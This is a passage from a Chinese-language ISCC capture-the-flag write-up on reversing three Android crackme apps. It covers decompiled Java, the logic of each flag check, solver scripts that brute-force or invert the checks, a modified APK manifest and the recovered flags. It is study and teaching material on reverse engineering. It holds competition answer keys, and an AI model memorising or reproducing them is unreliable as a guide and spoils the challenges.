if (length < 16) {
return false;
}
final w1.a b2 = this.b;
final String substring = a.substring(0, 16);
Objects.requireNonNull(b2);
final int length2 = substring.length();
int i = 3;
final int n = 1;
boolean b7 = false;
Label_0680: {
Label_0678: {
if (length2 == 16) {
final String substring2 = substring.substring(0, 4);
final String substring3 = substring.substring(4, 8);
final String substring4 = substring.substring(8, 12);
final String substring5 = substring.substring(12, 16);
final byte[] bytes = substring2.getBytes(StandardCharsets.UTF_8);
int j = 0;
while (true) {
Label_0214:
while (true) {
Label_0526_Outer:
while (j < bytes.length) {
final byte b3 = bytes[j];
if (b3 != 67) {
if (b3 != 73) {
if (b3 != 83 || j != 1) {
break Label_0214;
}
} else if (j > 0) {
break Label_0214;
}
} else if (j < 2) {
break Label_0214;
}
++j;
continue;
final boolean b4 = false;
if (b4) {
final byte[] bytes2 = substring3.getBytes(StandardCharsets.UTF_8);
final byte[] bytes3 = substring4.getBytes(StandardCharsets.UTF_8);
int k = 0;
while (true) {
Label_0526:
while (true) {
while (k < 4) {
final int n2 = bytes2[k] + bytes3[k];
if (n2 != 110 && n2 != 126 && n2 != 185 && n2 != 192) {
final boolean b5 = false;
if (!b5) {
break Label_0678;
}
final byte[] encode = Base64.getEncoder().encode(substring5.getBytes(StandardCharsets.UTF_8));
for (int l = 0; l < 6; ++l) {
final byte b6 = encode[l];
if (b6 != 68) {
if (b6 != 81) {
if (b6 != 90) {
if (b6 != 106) {
if (b6 != 108) {
break Label_0678;
}
if (l != 2) {
break Label_0678;
}
}
else if (l > 1) {
break Label_0678;
}
}
else if (l % 3 == 2) {
break Label_0678;
}
}
else if (l < 5) {
break Label_0678;
}
}
else if (l != 3) {
break Label_0678;
}
}
if (encode[0] > encode[1]) {
break Label_0678;
}
b7 = true;
break Label_0680;
}
else {
++k;
}
}
int n3 = 0;
while (n3 < 3) {
final byte b8 = bytes2[n3];
final int n4 = n3 + 1;
final int n5 = b8 ^ bytes2[n4];
n3 = n4;
if (n5 != 5) {
n3 = n4;
if (n5 == 44) {
continue Label_0526_Outer;
}
n3 = n4;
if (n5 != 96) {
continue Label_0526;
}
continue Label_0526_Outer;
}
}
for (int n6 = 0; n6 < 4; ++n6) {
final int n7 = bytes2[n6] ^ bytes3[n6];
if (n7 != 0 && n7 != 53 && n7 != 62 && n7 != 126) {
continue Label_0526;
}
}
int n8 = 0;
while (n8 < 3) {
final byte b9 = bytes3[n8];
final int n9 = n8 + 1;
final int n10 = b9 ^ bytes3[n9];
n8 = n9;
if (n10 != 39) {
n8 = n9;
if (n10 == 85) {
continue Label_0526_Outer;
}
n8 = n9;
if (n10 != 123) {
continue Label_0526;
}
continue Label_0526_Outer;
}
}
int n12;
for (int n11 = 0; n11 < 2; n11 = n12) {
final byte b10 = bytes2[n11];
n12 = n11 + 1;
final int n13 = bytes2[n11 + 2] ^ (b10 ^ bytes2[n12]);
if (n13 != 27 && n13 != 82) {
continue Label_0526;
}
}
break;
}
final boolean b5 = true;
continue;
}
}
break Label_0678;
}
if (bytes[0] + bytes[1] + bytes[2] + bytes[3] != 290) {
continue Label_0214;
}
break;
}
final boolean b4 = true;
continue;
}
}
}
b7 = false;
}
boolean b11 = b;
if (b7) {
a = a.substring(16);
if (a.length() < 16) {
b11 = b;
}
else {
final w1.a b12 = this.b;
final String substring6 = a.substring(0, 16);
Objects.requireNonNull(b12);
final String substring7 = substring6.substring(0, 5);
final String substring8 = substring6.substring(5, 10);
final String substring9 = substring6.substring(10);
Objects.requireNonNull(b12.a);
final byte[] bytes4 = substring7.getBytes(StandardCharsets.UTF_8);
for (int n14 = 0; n14 < 5; ++n14) {
bytes4[n14] -= 20;
bytes4[n14] ^= 0x5;
}
int n19 = 0;
Label_1208: {
if (Arrays.equals(bytes4, new byte[] { 74, 62, 28, 32, 60 })) {
Objects.requireNonNull(b12.a);
boolean b13 = false;
Label_1045: {
try {
final String s = new String(Base64.getEncoder().encode(MessageDigest.getInstance("MD5").digest(substring8.getBytes(StandardCharsets.UTF_8))));
if (s.length() == 24) {
final char[] array = new char[24];
int n15 = 0;
int n16 = 0;
while (i >= 0) {
if (n15 == 0) {
for (int n17 = 5; n17 >= 0; --n17) {
array[n16] = s.charAt(n17 * 4 + i);
++n16;
}
n15 = 1;
}
else {
for (int n18 = 0; n18 <= 5; ++n18) {
array[n16] = s.charAt(n18 * 4 + i);
++n16;
}
n15 = 0;
}
--i;
}
if (String.valueOf(array).equals("=K5blEMshGi=QLwCzVS1LUPy")) {
b13 = true;
break Label_1045;
}
}
}
catch (final NoSuchAlgorithmException ex) {
ex.printStackTrace();
}
b13 = false;
}
if (b13) {
Objects.requireNonNull(b12.a);
try {
final Base64.Encoder encoder = Base64.getEncoder();
final byte[] encode2 = encoder.encode(substring7.getBytes(StandardCharsets.UTF_8));
final byte[] encode3 = encoder.encode(substring8.getBytes(StandardCharsets.UTF_8));
final byte[] bytes5 = substring9.getBytes(StandardCharsets.UTF_8);
final SecretKeySpec secretKeySpec = new SecretKeySpec(encode2, "DES");
final IvParameterSpec ivParameterSpec = new IvParameterSpec(encode3);
final Cipher instance = Cipher.getInstance("DES/CBC/PKCS7Padding");
instance.init(1, secretKeySpec, ivParameterSpec);
if (new String(encoder.encode(encoder.encodeToString(instance.doFinal(bytes5)).getBytes(StandardCharsets.UTF_8))).equals("SE9QN3RsOXBpVW89")) {
n19 = n;
break Label_1208;
}
}
catch (final Exception ex2) {
ex2.printStackTrace();
}
}
}
n19 = 0;
}
b11 = b;
if (n19 != 0) {
a = a.substring(16);
if (a.length() > 100) {
b11 = b;
}
else if (!this.a.substring(32).equals(a)) {
b11 = b;
}
else {
b11 = this.b(a);
}
}
}
}
return b11;
}
}
FernFlower
给出的结果如下:
//
// Decompiled by FernFlower - 1019ms
//
package tk.mcsog.iscc;
import java.nio.charset.StandardCharsets;
import java.security.MessageDigest;
import java.security.NoSuchAlgorithmException;
import java.util.Arrays;
import java.util.Base64;
import java.util.Objects;
import javax.crypto.Cipher;
import javax.crypto.spec.IvParameterSpec;
import javax.crypto.spec.SecretKeySpec;
public class a {
public String a;
public w1.a b = new w1.a();
static {
System.loadLibrary("iscc");
}
private native boolean b(String var1);
public final boolean a(String var1) {
this.a = var1;
int var2 = var1.length();
boolean var3 = false;
if (var2 < 16) {
return false;
} else {
String var5;
int var6;
boolean var7;
String var9;
int var10;
boolean var23;
String var24;
byte[] var26;
byte[] var31;
label296: {
w1.a var4 = this.b;
var5 = var1.substring(0, 16);
Objects.requireNonNull(var4);
var2 = var5.length();
var6 = 3;
var7 = true;
if (var2 == 16) {
String var8 = var5.substring(0, 4);
var9 = var5.substring(4, 8);
var24 = var5.substring(8, 12);
var5 = var5.substring(12, 16);
byte[] var28 = var8.getBytes(StandardCharsets.UTF_8);
var2 = 0;
label292: {
while(true) {
if (var2 >= var28.length) {
if (var28[0] + var28[1] + var28[2] + var28[3] == 290) {
var23 = true;
break label292;
}
break;
}
var10 = var28[var2];
if (var10 != 67) {
if (var10 != 73) {
if (var10 != 83 || var2 < 1 || var2 > 1) {
break;
}
} else if (var2 > 0) {
break;
}
} else if (var2 < 2) {
break;
}
++var2;
}
var23 = false;
}
if (var23) {
var31 = var9.getBytes(StandardCharsets.UTF_8);
byte[] var25 = var24.getBytes(StandardCharsets.UTF_8);
var2 = 0;
label272: {
label271:
while(true) {
if (var2 >= 4) {
var2 = 0;
int var11;
while(var2 < 3) {
var11 = var31[var2];
var10 = var2 + 1;
var11 ^= var31[var10];
var2 = var10;
if (var11 != 5) {
var2 = var10;
if (var11 != 44) {
var2 = var10;
if (var11 != 96) {
break label271;
}
}
}
}
for(var2 = 0; var2 < 4; ++var2) {
var10 = var31[var2] ^ var25[var2];
if (var10 != 0 && var10 != 53 && var10 != 62 && var10 != 126) {
break label271;
}
}
var2 = 0;
byte var33;
while(var2 < 3) {
var33 = var25[var2];
var10 = var2 + 1;
var11 = var33 ^ var25[var10];
var2 = var10;
if (var11 != 39) {
var2 = var10;
if (var11 != 85) {
var2 = var10;
if (var11 != 123) {
break label271;
}
}
}
}
for(var2 = 0; var2 < 2; var2 = var10) {
var33 = var31[var2];
var10 = var2 + 1;
byte var12 = var31[var10];
var2 = var31[var2 + 2] ^ var33 ^ var12;
if (var2 != 27 && var2 != 82) {
break label271;
}
}
var23 = true;
break label272;
}
var10 = var31[var2] + var25[var2];
if (var10 != 110 && var10 != 126 && var10 != 185 && var10 != 192) {
break;
}
++var2;
}
var23 = false;
}
if (var23) {
var26 = Base64.getEncoder().encode(var5.getBytes(StandardCharsets.UTF_8));
var2 = 0;
while(true) {
if (var2 >= 6) {
if (var26[0] <= var26[1]) {
var23 = true;
break label296;
}
break;
}
byte var34 = var26[var2];
if (var34 != 68) {
if (var34 != 81) {
if (var34 != 90) {
if (var34 != 106) {
if (var34 != 108 || var2 != 2) {
break;
}
} else if (var2 > 1) {
break;
}
} else if (var2 % 3 == 2) {
break;
}
} else if (var2 < 5) {
break;
}
} else if (var2 != 3) {
break;
}
++var2;
}
}
}
}
var23 = false;
}
boolean var13 = var3;
if (var23) {
var1 = var1.substring(16);
if (var1.length() < 16) {
var13 = var3;
} else {
w1.a var29 = this.b;
var24 = var1.substring(0, 16);
Objects.requireNonNull(var29);
var9 = var24.substring(0, 5);
var5 = var24.substring(5, 10);
var24 = var24.substring(10);
Objects.requireNonNull(var29.a);
byte[] var14 = var9.getBytes(StandardCharsets.UTF_8);
for(var2 = 0; var2 < 5; ++var2) {
var14[var2] = (byte)(var14[var2] - 20);
var14[var2] = (byte)(var14[var2] ^ 5);
}
label197: {
if (Arrays.equals(var14, new byte[]{74, 62, 28, 32, 60})) {
Objects.requireNonNull(var29.a);
label193: {
label192: {
label191: {
NoSuchAlgorithmException var10000;
label309: {
boolean var10001;
String var36;
try {
MessageDigest var15 = MessageDigest.getInstance("MD5");
Base64.Encoder var16 = Base64.getEncoder();
var36 = new String(var16.encode(var15.digest(var5.getBytes(StandardCharsets.UTF_8))));
if (var36.length() != 24) {
break label192;
}
} catch (NoSuchAlgorithmException var22) {
var10000 = var22;
var10001 = false;
break label309;
}
char[] var38;
try {
var38 = new char[24];
} catch (NoSuchAlgorithmException var21) {
var10000 = var21;
var10001 = false;
break label309;
}
boolean var35 = false;
var2 = 0;
label183:
while(true) {
if (var6 < 0) {
try {
var13 = String.valueOf(var38).equals("=K5blEMshGi=QLwCzVS1LUPy");
break label191;
} catch (NoSuchAlgorithmException var18) {
var10000 = var18;
var10001 = false;
break;
}
}
if (!var35) {
for(var10 = 5; var10 >= 0; --var10) {
try {
var38[var2] = var36.charAt(var10 * 4 + var6);
} catch (NoSuchAlgorithmException var19) {
var10000 = var19;
var10001 = false;
break label183;
}
++var2;
}
var35 = true;
} else {
for(var10 = 0; var10 <= 5; ++var10) {
try {
var38[var2] = var36.charAt(var10 * 4 + var6);
} catch (NoSuchAlgorithmException var20) {
var10000 = var20;
var10001 = false;
break label183;
}
++var2;
}
var35 = false;
}
--var6;
}
}
NoSuchAlgorithmException var37 = var10000;
var37.printStackTrace();
break label192;
}
if (var13) {
var23 = true;
break label193;
}
}
var23 = false;
}
if (var23) {
label314: {
Objects.requireNonNull(var29.a);
try {
Base64.Encoder var30 = Base64.getEncoder();
var31 = var30.encode(var9.getBytes(StandardCharsets.UTF_8));
var14 = var30.encode(var5.getBytes(StandardCharsets.UTF_8));
var26 = var24.getBytes(StandardCharsets.UTF_8);
SecretKeySpec var27 = new SecretKeySpec(var31, "DES");
IvParameterSpec var39 = new IvParameterSpec(var14);
Cipher var32 = Cipher.getInstance("DES/CBC/PKCS7Padding");
var32.init(1, var27, var39);
var24 = new String(var30.encode(var30.encodeToString(var32.doFinal(var26)).getBytes(StandardCharsets.UTF_8)));
var13 = var24.equals("SE9QN3RsOXBpVW89");
} catch (Exception var17) {
var17.printStackTrace();
break label314;
}
if (var13) {
var23 = var7;
break label197;
}
}
}
}
var23 = false;
}
var13 = var3;
if (var23) {
var1 = var1.substring(16);
if (var1.length() > 100) {
var13 = var3;
} else if (!this.a.substring(32).equals(var1)) {
var13 = var3;
} else {
var13 = this.b(var1);
}
}
}
}
return var13;
}
}
}
咱们两个都参考一下,主要以Procyon
的为主,因为变量名舒服一点。
看开头可以发现,先把flag的前16位按四位一组给拆开了。
首先[0:4]
是个稍微有点混淆的判断,实际意思是:
flag[0:16][0:4][2]==flag[0:16][0:4][3]==67
flag[0:16][0:4][0]=73
flag[0:16][0:4][1] == 83
也就是flag[0:16][0:4]=="ISCC"
。
然后看下面,应该是Procyon
出了点问题,逻辑是错的,不过那个sum(flag[0:16][0:4])==290
咱们已经满足了:67+67+73+83==290
。
那就去看看FernFlower
的,可以看到在判断完sum(flag[0:16][0:4])==290
之后,那个边界条件是被改变了的,所以放心进去就行。
可以看到先是flag[0:16][4:8][i]+flag[0:16][8:12][i]
混着比了四轮,确保四个和是110
、126
、185
、192
,不过具体下标不确定。
比完四轮后,进入上方>=4
的条件,可以看出是在比flag[0:16][4:8][i]^flag[0:16][4:8][i+1]
是不是5
、44
、96
,下标还是不确定。
然后又是四轮flag[0:16][4:8][i]^flag[0:16][8:12][i]
比,看结果是不是0
、53
、62
、126
,下标还是不确定。
然后和上上个比较一样,只不过把flag[0:16][4:8]
换成了flag[0:16][8:12]
,结果是39
、85
、123
。
然后又是比flag[0:16][4:8][i]^flag[0:16][4:8][i+1]^flag[0:16][4:8][i+2]
比了两轮,结果是27
、82
。
最后成功到达边界,进入下个判断块。
然后下个判断块是关于flag[0:16][12:16]
的,所以上面flag[0:16][4:8]
和flag[0:16][8:12]
可以写个脚本爆破出来了。
from string import printable
for x1 in {5, 44, 96}:
for x2 in {5, 44, 96}:
if x2 == x1:
continue
for x3 in {5, 44, 96}:
if x3 == x1 or x3 == x2:
continue
for y1 in {39,85,123}:
for y2 in {39,85,123}:
if y2 == y1:
continue
for y3 in {39,85,123}:
if y3 == y1 or y3 == y2:
continue
for i in printable:
a1 = ord(i)
a2 = a1 ^ x1
a3 = a2 ^ x2
a4 = a3 ^ x3
for j in printable:
b1 = ord(j)
b2 = b1 ^ y1
b3 = b2 ^ y2
b4 = b3 ^ y3
if a1 + b1 not in {110, 126, 185, 192}:
continue
if a2 + b2 not in {110, 126, 185, 192}:
continue
if a3 + b3 not in {110, 126, 185, 192}:
continue
if a4 + b4 not in {110, 126, 185, 192}:
continue
if a1 ^ b1 not in {0, 53, 62, 126}:
continue
if a2 ^ b2 not in {0, 53, 62, 126}:
continue
if a3 ^ b3 not in {0, 53, 62, 126}:
continue
if a4 ^ b4 not in {0, 53, 62, 126}:
continue
print(chr(a1) + chr(a2) + chr(a3) + chr(a4))
print(chr(b1) + chr(b2) + chr(b3) + chr(b4))
得到flag[0:16][4:8]=="{W72"
、flag[0:16][4:8]=="Eb7L"
。
然后来看flag[0:16][12:16]
,主要逻辑就是先走6轮循环,判断base64(flag[0:16][12:16])
的每位分别满足:
base64(flag[0:16][12:16])[3]==68
base64(flag[0:16][12:16])[5]==81
base64(flag[0:16][12:16])[0|1|4]==90
base64(flag[0:16][12:16])[0|1]==106
base64(flag[0:16][12:16])[2]==108
然后6轮循环后,去保证base64(flag[0:16][12:16])[0] <= base64(flag[0:16][12:16])[1]
,所以base64(flag[0:16][12:16])[0]
和base64(flag[0:16][12:16])[0]
的取值有三种情况,90 90
、90 106
、106 106
,那么base64(flag[0:16][12:16])
分别是ZZlDZQ
、ZjlDZQ
、jjlDZQ
,只有ZjlDZQ
解base64
后没有不可输出字符,所以flag[0:16][12:16]="f9Ce"
。
然后再来看后半段判断块,把flag[16:32]
给拆成了flag[16:32][0:5]
、flag[16:32][5:10]
、flag[16:32][10:16]
。
这里先是对flag[16:32][0:5]
按位异或了一波,然后比较。
直接写脚本解。
a = [74, 62, 28, 32, 60]
for i in range(5):
a[i] = a[i]^5
a[i] = a[i]+20
print(bytearray(a).decode())
得到flag[16:32][0:5]="cO-9M"
。
然后来看flag[16:32][5:10]
的,就是先算出base64(md5(flag[16:32][5:10]))
,然后进行一波映射,得到=K5blEMshGi=QLwCzVS1LUPy
。
写个脚本逆就完事。
b = bytearray(b"=K5blEMshGi=QLwCzVS1LUPy")
c = bytearray(24)
x = 0
j = 23
while x <= 3:
if x % 2 == 1:
for i in range(0, 6):
c[i*4+x] = b[j]
j -= 1
else:
for i in range(5, -1, -1):
c[i*4+x] = b[j]
j -= 1
x += 1
print(c)
print(base64.b64decode(c.decode()).hex())
得到md5
值495304d73b252c285b5301b93cb88ac9
。
反查得到flag[16:32][5:10]="87Ed-"
。
然后看flag[16:32][10:16]
,是用base64(flag[16:32][0:5])
当key
,用base64(flag[16:32][5:10])
当iv
,做DES/CBC/PKCS7Padding
加密后再打了两重base64
得到SE9QN3RsOXBpVW89
,那先解一重base64
得到HOP7tl9piUo=
。
然后去解一下DES
,得到flag[16:32][10:16]="T46O4f"
。
最后是对flag[32:]
传给b
函数校验。
b
果然是native
函数。
那就用ida
打开libso
。
主要逻辑就是for
循环处理b[n-i]=a[i]^i
,然后和目标结果比较。
写脚本直接逆。
a = r"""e'" &pv&(L;hIjkZ%7S66O`,D""".encode()
for i in range(25):
print(chr(a[24-i]^i), end="")
得到flag[32:]="D-bL23U0-SaaEe5C87dc2540}"
拼接所有得到flag。
ISCC{W72Eb7Lf9CecO-9M87Ed-T46O4fD-bL23U0-SaaEe5C87dc2540}
好玩的?是新语言哦
尝试安装apk,发现安装不上,检查发现apk限制的安卓版本最低要求是API 32
。
但实际上API 32
还是测试版本,所以在手机上直接安装是不行的,要么选择在 Google 提供的Android版本为API 32
的虚拟机中安装,要么修改AndroidManifest.xml
文件来降低版本限制。
本处选择后者的方法,在任意安卓反编译工具中修改android:minSdkVersion
字段小于等于自己的系统API版本即可。
安装后发现需要提供id
和flag
进行校验,于是尝试逆向。
发现/* compiled from: MainActivity.kt */
字样以及多处import kotlin.*
,说明编译自kotlin
语言。
首先找到check
按钮的挂载事件,名为m0onCreate$lambda3
。
观察其主要逻辑发现应该是kotlin
的语法糖相关功能,实际核心内容就是取id
和flag
调用m1onCreate$lambda3$check
,然后根据结果打toast
。
观察目标函数,可以清晰发现有两条数据流。
其中id
作为随机数种子产生一个随机数发生器记作Random
,并产生了32字节的byte[]
记作nextBytes
,再把nextBytes
每字节异或id
,将结果记作arrayList
,再将arrayList
作为基数用之前的随机数发生器Random
产生新的随机byte[]
记作nextBytes2
,最后把nextBytes
每字节异或id
后转成byte
加上了Min_VALUE = 128
,然后取16
模,得到了arrayList2
作为最终参与校验的数据。
而flag
先判断头尾是否是ISCC{...}
,然后去掉头尾得到substring
,再转成byte[]
得到bytes
,每一字节判断是否在97~102
之间,是的话减去87
,或者在48~57
之间就减去48
,否则归零,记作arrayList4
,然后将其转换成mutableList
,并循环32
轮,每轮执行mutableList[i ^ 23] = mutableList[i ^ 23] ^ mutableList[(i+1) % 32]
,将其也作为最终参与校验的数据。
最后判断二者相等即flag正确。
所以按思路写个逆向的flag计算脚本,此处以id=1
为例。
import kotlin.random.Random
val id = 1
val random = Random(id)
val nextBytes = random.nextBytes(32)
val arrayList = nextBytes.map { (it.toInt() xor id).toByte() }
val nextBytes2 = random.nextBytes(arrayList.toByteArray())
val arrayList2 = nextBytes2.map { (it.toInt() xor id).toByte() }.map{ (it.toInt() + 128) % 16 }.toMutableList()
for (j in 31 downTo 0) {
arrayList2[j xor 23] = arrayList2[j xor 23] xor arrayList2[(j + 1) % 32]
}
val flag = String(arrayList2.map {
when(it) {
in 10..15 -> it+87
in 0..9 -> it+48
else -> 0
}.toByte()
}.toByteArray())
println("ISCC{$flag}")
运行结果为ISCC{1ff0bf7a101849722ef2b8249c8551fd}
,在app中输入发现如下提示:
于是再次以id=114514
运行脚本得到flag。
ISCC{19fb4dd02ea64ca8c96c868f6c5434e4}
EasyCryMobile
这题jadx
打开可以发现3个activity
都绑定了事件到w1.a
类。
而其onClick
分成了三个分支。
不过实际上就是调用各自activity
里的native
函数a
去校验,所以咱去看libso
就行。
ida
打开,先看第一个校验函数。
主要就是对传进来的字符串每个字符进行s * s * s % 0xF619 * s % 0xF619 * s % 0xF619 * s % 0xF619 * s % 0xF619
,然后和下面的五个数比较。
不过这边数据是一个变量存了俩字符的结果,所以有高低位,存储顺序是先低后高,所以写个脚本爆就完事。
flag = bytearray(5)
for v12 in range(1, 128):
v13 = v12 * v12
v21 = v13 * v12 % 63001 * v12 % 63001 * v12 % 63001 * v12 % 63001 * v12 % 63001
if v21 == 42349:
flag[0] = v12
elif v21 == 12496:
flag[1] = v12
elif v21 == 33079:
flag[2] = v12
flag[3] = v12
elif v21 == 44552:
flag[4] = v12
print(flag.decode())
得到第一关的通关字符串ISCC{
。
然后再去看第二个校验函数,实际上就是走个148轮的s = s * s % 37523
。
不过这边需要注意的是,校验结果存储是v16[4]
开始,但是校验的时候,前面v16[4]
和v17
的低位都没管,直接从v17
的高位开始的,所以也就是说这边通关字符串前5字节无所谓,那大概是让填之前的ISCC{
。
那就接着写脚本爆破。
flag = bytearray(5)
for i in range(0, 128):
v8 = i
for _ in range(148):
v8 = v8 * i % 37523
if v8 == 556:
flag[0] = i
elif v8 == 7101:
flag[1] = i
elif v8 == 1168:
flag[2] = i
elif v8 == 13899:
flag[3] = i
elif v8 == 18708:
flag[4] = i
print(flag.decode())
得到第二关的通关字符串的需要校验的部分Ez_M0
。
最后来看第三个校验函数,这边我为了方便把变量名改成flag_对应的位置
了,可以看到主要就是(s * s - 0x7cb1 * (((0x41B3 * s * s) >> 16) >> 13)) * s % 0x7CB1 * s % 0x7CB1 * s % 0x7CB1 * s % 0x7CB1 * s % 0x7CB1 * s % 0x7CB1 * s % 0x7CB1 * s % 0x7CB1 * s % 0x7CB1
。
而最后的判定条件就是:
flag_12 ^ flag_14 = 0x5FD3
flag_13 ^ flag_9 = 0x477
flag_14 ^ flag_8 ^ flag_2 = 0x6171
flag_16 ^ flag_10 = 0x2CD9
flag_11 ^ flag_15 = 0xD05
flag_10 ^ flag_12 = 0x1F77
flag_13 = 0x5112
flag_15 = 0x6D3E
flag_6 ^ flag_16 ^ flag_10 = 0x246E
flag_5 ^ flag_1 = 0x6880
flag_8 ^ flag_2 = 0x242D
flag_3 ^ flag_7 = 0x4681
flag_2 ^ flag_4 = 0x6E55
flag_5 = 0x34AE
flag_4 ^ flag_6 ^ flag_16 ^ flag_10 = 0x7499
flag_7 = 0x1676
整理一下已知量和未知量,以及之前两次校验已知的flag1~flag10
,就可以解方程了。
先去生成前两次校验已知的flag1~flag10
。
for i, s in enumerate(b"ISCC{Ez_M0"):
s = (s * s - 0x7cb1 * (((0x41B3 * s * s) >> 16) >> 13)) * s % 0x7CB1 * s % 0x7CB1 * s % 0x7CB1 * s % 0x7CB1 * s % 0x7CB1 * s % 0x7CB1 * s % 0x7CB1 * s % 0x7CB1 * s % 0x7CB1
print(f"flag_{i+1} = {hex(s)}")
# 前两关已知
flag_1 = 0x5c2e
flag_2 = 0x3ea2
flag_3 = 0x50f7
flag_4 = 0x50f7
flag_5 = 0x34ae
flag_6 = 0x8b7
flag_7 = 0x1676
flag_8 = 0x1a8f
flag_9 = 0x5565
flag_10 = 0x5f8
# 已知
flag_13 = 0x5112
flag_15 = 0x6D3E
# 用来初始校验
assert flag_5 == 0x34AE
assert flag_7 == 0x1676
assert flag_5 ^ flag_1 == 0x6880
assert flag_3 ^ flag_7 == 0x4681
assert flag_2 ^ flag_4 == 0x6E55
assert flag_8 ^ flag_2 == 0x242D
assert flag_13 ^ flag_9 == 0x477
# 用来解
flag_11 = flag_15 ^ 0xD05 # 解 flag_11
flag_14 = flag_8 ^ flag_2 ^ 0x6171 # 解 flag_14
flag_16 = flag_10 ^ 0x2CD9 # 解 flag_16
flag_12 = flag_10 ^ 0x1F77 # 解 flag_12
# 用来二次校验
assert flag_6 ^ flag_16 ^ flag_10 == 0x246E
assert flag_4 ^ flag_6 ^ flag_16 ^ flag_10 == 0x7499
assert flag_12 ^ flag_14 == 0x5FD3
最后回去爆破flag就完事。
flag = bytearray(6)
for s in range(0, 128):
v8 = (s * s - 0x7cb1 * (((0x41B3 * s * s) >> 16) >> 13)) * s % 0x7CB1 * s % 0x7CB1 * s % 0x7CB1 * s % 0x7CB1 * s % 0x7CB1 * s % 0x7CB1 * s % 0x7CB1 * s % 0x7CB1 * s % 0x7CB1
if v8 == 0x603b:
flag[0] = s
elif v8 == 0x1a8f:
flag[1] = s
elif v8 == 0x5112:
flag[2] = s
elif v8 == 0x455c:
flag[3] = s
elif v8 == 0x6d3e:
flag[4] = s
elif v8 == 0x2921:
flag[5] = s
print(flag.decode())
得到最后一段flagb_R5A}
。
拼接得到flag。
ISCC{Ez_M0b_R5A}